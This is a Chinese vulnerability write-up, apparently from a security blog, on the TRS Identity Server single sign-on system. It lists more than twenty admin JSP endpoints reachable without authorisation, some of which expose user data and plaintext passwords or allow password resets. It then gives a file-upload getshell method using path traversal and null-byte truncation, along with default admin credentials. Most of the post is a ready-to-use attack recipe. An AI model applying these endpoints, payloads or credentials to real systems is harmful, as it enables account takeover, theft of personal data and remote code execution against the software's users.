拓尔思某系统越权操作大集合及GETSHELL

  • A+
所属分类:漏洞时代
摘要

程序名称:TRS身份服务器单点登录系统
漏洞类型:越权操作 & 任意文件上传GETSHELL
漏洞文件:
越权操作的(多少个点我也没数,反正就那么多):

/* *说明: *Copyright ©2004 - 2006 TRS 不受影响 *Copyright ©2004 - 2008 TRS 不受影响 *以及部分二次开发的不受影响 *-------------------------------------- *越权可查看用户信息,几个案例用户加加都有上百万了~  */

程序名称:TRS身份服务器单点登录系统
漏洞类型:越权操作 & 任意文件上传GETSHELL
漏洞文件:
越权操作的(多少个点我也没数,反正就那么多):

/ids/admin/sys/system/editSysParaCfg.jsp   系统参数设置 /ids/admin/sys/system/editRegCfg.jsp     系统注册相关参数设置 (可改接收邮箱...) /ids/admin/sys/system/editRealNameCfg.jsp  实名认证相关参数设置(可设置上传路径及上传类型) /ids/admin/sys/system/editLoginCfg.jsp   用户登录相关参数配置 /ids/admin/sys/verifyCode/editVerifyCodeParaCfg.jsp  验证码参数设置  /ids/admin/sys/navigation.jsp          系统配置  /ids/admin/notifycation/list.jsp       邮件发送列表 /ids/admin/notifycation/detailMessage.jsp?id=xxx  通知模块(里面都是注册密码明文) /ids/admin/user/list.jsp    用户列表(可重置密码) /ids/admin/ldap/domain/config_dir.jsp   LDAP目录设置信息  /ids/admin/ad/domain/add.jsp  增加域啥信息 /ids/admin/sys/database/viewDbInfoCfg.jsp 查看数据库连接 /ids/admin/sys/http/edit.jsp HTTP参数设定 ids/admin/sys/accessPermission/edit.jsp   访问控制全局参数设定 /ids/admin/sys/auth/editCACfg.jsp    证书参数设置 /ids/admin/sys/customfield/addColumn.jsp?boName=User   添加属性 /ids/admin/sys/customfield/list.jsp  属性列表 /ids/admin/sys/group/editGroupAttributesMapping.jsp   机构参数设置 /ids/admin/sys/sso/edit.jsp  跨域单点登录参数设定 /ids/admin/sys/synchronize/synchronizationConfig.jsp  同步服务器参数设定 /ids/admin/sys/synchronize/listSynchronizer.jsp  同步服务器列表 /ids/admin/coapp/viewUserSynchronization.jsp  系统[ids]的用户同步配置 /ids/admin/archivelog/config.jsp   是否日志归档

任意文件上传:

account/uploadAuthInfo.jsp

数等一系列管理操作;普通用户有一个上传身份证的页面,*****

if (this.realNameAuthenticationService.isApply(userName)) {//如果上传过,文件名用用户名命名,文件名可控,导致可截断上传       UserRealNameInfo uRealNameInfo = null;       uRealNameInfo = this.realNameAuthenticationManager.find(userName);       uploadFile = this.imageFileManager.find(uRealNameInfo.getUploadFileId());       uploadFile.setNewFileName(userName + "." + fileType);       uploadFile.setUploadTime(System.currentTimeMillis());       uploadFile.setOriginalFileName(fileName);       uploadFile.setFileSize(fileSize);       uploadFile.setImageUrl(uploadPath);       uploadFile.setType(type);       this.imageFileManager.update(uploadFile);       LOG.debug("update User realName authentication upload file success :" + uploadFile);     }     else {       uploadFile.setNewFileName(userName + "." + fileType);//同上,这里是第一次上传走这里       uploadFile.setUploadTime(System.currentTimeMillis());       uploadFile.setOriginalFileName(fileName);       uploadFile.setFileSize(fileSize);       uploadFile.setImageUrl(uploadPath);       uploadFile.setNewFileName(DateUtil.timeMillisToString(System.currentTimeMillis(), "yyyyMM") + File.separator + uploadFile.getNewFileName());       uploadFile.setType(type);       this.imageFileManager.add(uploadFile);       LOG.debug("add User realName authentication upload file success :" + uploadFile);     }

因为trs默认上传到/WEB-INF/private/目录下,这里有两种方式来突破,一种是通过文件名来跳转:/../../../username.jsp%00.jpg ,这样就会在/ids/目录下生成shell文件。另一种是通过/ids/admin/sys/system/editRealNameCfg.jsp 实名认证相关参数设置(可设置上传路径及上传类型)配置上传路径,这样只需要文件名username.jsp%00.jpg截断即可,文件是存放在/ids/设置的目录/当前年月/用户名.jsp

默认地址
/ids/admin/login.jsp

用户名密码:trsadmin1/trsadmin1
然后再调用页面直接上传
拓尔思某系统越权操作大集合及GETSHELL

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: